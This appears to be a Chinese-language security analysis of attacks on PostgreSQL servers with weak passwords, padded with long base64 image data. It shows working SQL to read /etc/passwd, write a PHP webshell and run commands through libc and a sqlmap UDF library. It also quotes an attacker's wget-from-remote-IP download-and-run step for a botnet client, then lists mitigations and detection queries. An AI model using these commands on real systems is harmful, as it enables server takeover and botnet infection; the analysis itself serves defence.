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" alt="" />
0x3: 读取任意文件
drop table aliyun;
CREATE TABLE aliyun(t TEXT);
COPY aliyun FROM '/etc/passwd';
SELECT * FROM aliyun limit offset ;
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alt="" />
DROP TABLE aliyun;
CREATE TABLE aliyun (t TEXT);
COPY aliyun(t) FROM '/etc/passwd';
SELECT * FROM aliyun;
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alt="" />
0x4: 写入任意文件到任意目录
DROP TABLE aliyun;
CREATE TABLE aliyun (t TEXT);
INSERT INTO aliyun(t) VALUES ('<?php eval($_POST[1])');
COPY aliyun(t) TO '/tmp/aliyun';
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Relevant Link:
http://chenxiaoyu.org/2010/06/02/postgresql-copy-dump-store.html
http://www.postgresql.org/docs/9.1/static/functions-admin.html
3. 命令执行
0x1: 利用 libc 中的 system() 函数
CREATE FUNCTION system(cstring) RETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE 'C' STRICT;
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I/F3xLs3q+/qPJPcr5B0glmcy9COrJBMpm2KxivbuwWrWLAfXqqkNX3xusjhCiuDJ7tL9/6B5dIRr59XqMBHWOtkOBq8K72t0YleHgLhPHWUtXxj3CcsPccJ1ANHb198D7XKpkiCEpvXV3WiZ4b8rmpHt0XlCYI+b3wGwgWHlXHG35ebC4tgpqjlO82KnqcGQ622zT8srD7lF69sippKQ7fWAyz7tHcrQpZNnCiCO1aWyxOkKI4qJ7tLz2BvfIM0yveZ7r7lHUIh64Mm7Q/O3ukRwX6t8y7tFxv1GfRchLb9yPlgo+TLe7R1DQ590jGXh52JSfOffoapw585O/LZMjwue5b3Ftiy1qQ1IqwQ3X1WSeWlwL3CNYuegeEfIGrrpHXae3MHawQb++92iPpwza1jZE7+0QH79svwOxyJURb9bdo6BdfsY9KoN3mQ/APdrCqan2pHuEc6mWIYoG6bl1x6bgevuLWFxbw/oPAI/doxZBGGiKuDsHIOVhcbTkJ1AJehWNcfq8FMEz7pGO6XBrdglXJDnvybwK25CsStYvnreNPmEyjQRdc+PMjdwjVLlMnPG8cmh1V9pkQv4E0j3aZnGnfcvz1rjYwZNay7d7MsCc+umq6Kb610lvqKdUwKzGS6V8cL+1u4zX0EKDn+4O4oTAOMHDpWuEm8CtQjLh85bV+E2cIpT6yj60MElH0tOxtgSXi07FUy/7tcdtpxBK+3lBB8cueFOMliArgSPlZc+cLiWr0l55OmO02TiDxdeoFZDsebH7RE6v0GZB4mHlWH+AbUhaJRVG6YmSiT/slxocNQvz9nlBt63xgcoF4wwsObI6ukeEHMBjIclvgqsHhBBCboDuEfkliKmET6tCCCHkh0P3iBDyIH5xq77K9DdVIoR8G3SPCCGEEEIUf9E9eqH/CCGEEEIW/qh7dPiEEEIIIX8Wukf4CSGEEEL+Kv8Dx6/wVm1ndIgAAAAASUVORK5CYII=" alt="" />
PostgreSQL加载外部动态库的时候,会检查MAGIC DATA,如果没有这个函数(Pg_magic_func),PostgreSQL认为这个动态库不是PostgreSQL可以使用的动态库
0x2: 利用Perl/Python脚本语言功能
0x3: 利用C语言自定义函数
1. 将sqlmap的udf so文件转为16进制的代码
7F454C4602010100000000000000000003003E0001000000C00C0000000000004000000000000000A0170000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000008413000000000000841300000000000000002000000000000100000006000000881300000000000088132000000000008813200000000000A802000000000000B00200000000000000002000000000000200000006000000B013000000000000B013200000000000B01... ...
2. 查看PostgreSQL目录
SELECT setting FROM pg_settings WHERE name='data_directory';
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3. 查询oid
select lo_creat(-);
返回的oid为当前对象大数据的标识符,我们要利用这个存储UDF文件内容,pg_largeobject 表保存那些标记着"大对象"的数据。 一个大对象是使用其创建时分配的 OID 标识的。 每个大对象都分解成足够小的小段或者"页面"以便以行的形式存储在 pg_largeobject 里。 每页的数据定义为LOBLKSIZE(目前是BLCKSZ/4,或者通常是 2K 字节)
如果我们生成的文件过大,就需要进行分段导出
4. 清空页面
delete from pg_largeobject where loid=;
//oid与上面保持一致
5. 把16进制的so文件导入数据库
insert into pg_largeobject (loid,pageno,data) values(, , decode('7F454CXXXXXXXXX000', 'hex'));
//超过LOBLKSIZE的文件需要分段导入
6. 利用PostgreSQL自带函数将大型对象导出到文件
SELECT lo_export(, '/tmp/testproxy.so');
7. 建立UDF
CREATE OR REPLACE FUNCTION exec111() RETURNS text AS '/tmp/testproxy.so', 'exec111' LANGUAGE C STRICT;"
8. 调用这个UDF
select exec111();
9. 删除UDF
drop function exec111();
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Relevant Link:
http://zone.wooyun.org/content/1591
http://zone.wooyun.org/content/4971
4. 影响范围
. 导致WEBSHELL入侵: postgresql可以向磁盘上任意目录写任意文件
. 导致恶意文件写入、并执行
. 漏洞的利用不区分linux、windows操作系统及其版本
5. 恶意代码分析
. 黑客通过批量扫描postgresql弱口令、空口令获取目标机器列表
. 利用postgresql pg_largeobject的特性,将恶意udf分段写入postgresql表中,并导出实体文件到: /tmp/testproxy.so
. 从/tmp/testproxy.so导入恶意代码,创建UDF,并执行,执行内容如下
..
wget -P /tmp/ http://211.115.116.198:1234/testproxy -O /tmp/testproxy
chmod /tmp/testproxy
/tmp/testproxy > testtmp &
rm -rf ./testproxy . testproxy是真正的肉鸡恶意程序,启动后会尝试解析baby0119.com域名,并连接其80端口,等待C&C发送指令并执行
6. 缓解方案
. 禁止postgresql以root权限运行,建议使用独立帐号运行
adduser dbuser
sudo su - postgres . 修改数据库帐号为强密码,例如
alter user postgres with password 'aliyunSecurity1234*_*'; . 查看是否存在恶意UDF函数
select proname,prosrc from pg_proc where proname = 'exec111'; . 查看是否存在可疑UDF函数
select proname,prosrc from pg_proc;
//查看哪些函数不是系统预设的、或者管理员自己添加的 . 查看是否存在可疑存储过程
select tgrelid from pg_trigger;
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